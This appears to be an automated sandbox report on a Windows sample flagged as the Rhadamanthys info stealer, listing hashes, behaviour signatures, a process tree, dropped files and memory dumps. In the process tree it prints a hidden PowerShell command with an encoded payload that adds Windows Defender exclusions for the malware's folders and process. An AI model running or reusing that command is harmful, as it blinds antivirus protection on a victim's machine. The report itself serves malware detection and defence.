Analysis

  • max time kernel
    147s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08-07-2024 09:35

General

  • Target

    651962c322d049e7271543d8d2673311.exe

  • Size

    4.3MB

  • MD5

    651962c322d049e7271543d8d2673311

  • SHA1

    e4a3c9a15006aae882697cff0ec90795f658ee94

  • SHA256

    33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546

  • SHA512

    121b96a1ce8e12924e41c2243cea25dbc13240c6cfadcfe01aecbea1c6676261cbcf89677fb1a8e429e22d47b1030b9e24e03b96a5f7e956316f02bd8d2c74b1

  • SSDEEP

    98304:fh0DJ8JeTBYX6L9jeMr31y0pv/u4EmRIO3HLWjds/ht/tpxeSZ:bJeTKX6L9fHBW4bW+zdeS

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1392
      • C:\Users\Admin\AppData\Local\Temp\651962c322d049e7271543d8d2673311.exe
        "C:\Users\Admin\AppData\Local\Temp\651962c322d049e7271543d8d2673311.exe"
        2⤵
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Users\Admin\AppData\Local\Temp\blue.exe
          "C:\Users\Admin\AppData\Local\Temp\blue.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Users\Admin\AppData\Local\Temp\blue.exe
            "C:\Users\Admin\AppData\Local\Temp\blue.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1716
        • C:\Users\Admin\AppData\Local\Temp\651962c322d049e7271543d8d2673311.exe
          "C:\Users\Admin\AppData\Local\Temp\651962c322d049e7271543d8d2673311.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:588
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:668
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {02864D4D-622A-42EF-8926-F307AD44AF91} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:S4U:
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVgBlAHIAcwBpAG8AbgAuAGUAeABlADsA
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVgBlAHIAcwBpAG8AbgAuAGUAeABlADsA
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4760
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {C431DD03-7041-46CC-9195-C885BB422856} S-1-5-21-2212144002-1172735686-1556890956-1000:MVFYZPLM\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3884
      • C:\Users\Admin\AppData\Local\AuditRuleType\nmqgcn\Version.exe
        C:\Users\Admin\AppData\Local\AuditRuleType\nmqgcn\Version.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Users\Admin\AppData\Local\AuditRuleType\nmqgcn\Version.exe
          "C:\Users\Admin\AppData\Local\AuditRuleType\nmqgcn\Version.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1704
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
            4⤵
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4564
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4988

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\blue.exe

      Filesize

      2.1MB

      MD5

      30cd8c00307286863dba2ec13fb2a611

      SHA1

      65815b908d5fd2905f70240d6dfe6e17f3c78aa1

      SHA256

      c68192f008c1b7638e18ec1a6e5787953ea6775bb33acf9a12f64440f3b788e7

      SHA512

      76a903bdb21ae382cd737432b2f5b3152589a3d3863c9120e9ad850d8cb46e07b90ed42f21d74840d4dc1383f2aee7bfc24f3f10eba94858e84af762bd404335

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      0a82923f5d72f49898567b0aee0d4a2a

      SHA1

      f32932925789f43572b8d309e5b99a7012f19eb2

      SHA256

      0cc869dafa6e7099820734e03533bae4c3c91f01365258f5ed4d26988295802a

      SHA512

      153a03a6072327878c635ddec057cbcb901b47341b9ff73c5f0d080714402d805e140972141446397e599129c69856826503287085de07e770f02e27758a0c56

    • memory/588-9758-0x0000000000540000-0x00000000005F0000-memory.dmp

      Filesize

      704KB

    • memory/588-9759-0x0000000000770000-0x0000000000778000-memory.dmp

      Filesize

      32KB

    • memory/1704-22417-0x0000000004CD0000-0x0000000004D24000-memory.dmp

      Filesize

      336KB

    • memory/1704-18550-0x0000000000500000-0x00000000005D4000-memory.dmp

      Filesize

      848KB

    • memory/1704-18549-0x0000000000080000-0x0000000000116000-memory.dmp

      Filesize

      600KB

    • memory/1716-9790-0x0000000002270000-0x0000000002344000-memory.dmp

      Filesize

      848KB

    • memory/1716-9788-0x0000000000400000-0x0000000000496000-memory.dmp

      Filesize

      600KB

    • memory/1716-13657-0x00000000004A0000-0x00000000004F6000-memory.dmp

      Filesize

      344KB

    • memory/1908-9789-0x0000000073B60000-0x000000007424E000-memory.dmp

      Filesize

      6.9MB

    • memory/1908-9773-0x0000000004960000-0x0000000004A48000-memory.dmp

      Filesize

      928KB

    • memory/1908-9768-0x0000000073B60000-0x000000007424E000-memory.dmp

      Filesize

      6.9MB

    • memory/1908-4876-0x0000000004D30000-0x0000000004FDA000-memory.dmp

      Filesize

      2.7MB

    • memory/1908-4875-0x0000000000800000-0x0000000000A26000-memory.dmp

      Filesize

      2.1MB

    • memory/2256-52-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-66-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-50-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-0-0x0000000073B6E000-0x0000000073B6F000-memory.dmp

      Filesize

      4KB

    • memory/2256-54-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-60-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-62-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-64-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-67-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-72-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-74-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-83-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-21-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-91-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-93-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-98-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-104-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-107-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-31-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-57-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-25-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-69-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-88-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-27-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-85-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-81-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-79-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-78-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-75-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-48-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-95-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-29-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-102-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-110-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-4867-0x00000000049F0000-0x0000000004A3C000-memory.dmp

      Filesize

      304KB

    • memory/2256-4866-0x0000000006780000-0x0000000006A92000-memory.dmp

      Filesize

      3.1MB

    • memory/2256-46-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-44-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-23-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-4942-0x0000000004D00000-0x0000000004D54000-memory.dmp

      Filesize

      336KB

    • memory/2256-15-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-17-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-9757-0x0000000073B60000-0x000000007424E000-memory.dmp

      Filesize

      6.9MB

    • memory/2256-19-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-4-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-14-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-11-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-9-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-7-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-1-0x00000000000E0000-0x0000000000532000-memory.dmp

      Filesize

      4.3MB

    • memory/2256-2-0x0000000004E90000-0x0000000005366000-memory.dmp

      Filesize

      4.8MB

    • memory/2256-3-0x0000000073B60000-0x000000007424E000-memory.dmp

      Filesize

      6.9MB

    • memory/2256-5-0x0000000004E90000-0x0000000005360000-memory.dmp

      Filesize

      4.8MB

    • memory/2752-13663-0x0000000000AB0000-0x0000000000AB8000-memory.dmp

      Filesize

      32KB

    • memory/2752-13662-0x0000000019DC0000-0x000000001A0A2000-memory.dmp

      Filesize

      2.9MB

    • memory/4004-13667-0x0000000001040000-0x0000000001266000-memory.dmp

      Filesize

      2.1MB

    • memory/4564-22430-0x0000000000400000-0x0000000000626000-memory.dmp

      Filesize

      2.1MB

    • memory/4760-31183-0x0000000019D30000-0x000000001A012000-memory.dmp

      Filesize

      2.9MB

    • memory/4760-31184-0x0000000000FD0000-0x0000000000FD8000-memory.dmp

      Filesize

      32KB

    • memory/4988-27316-0x0000000000110000-0x00000000001A6000-memory.dmp

      Filesize

      600KB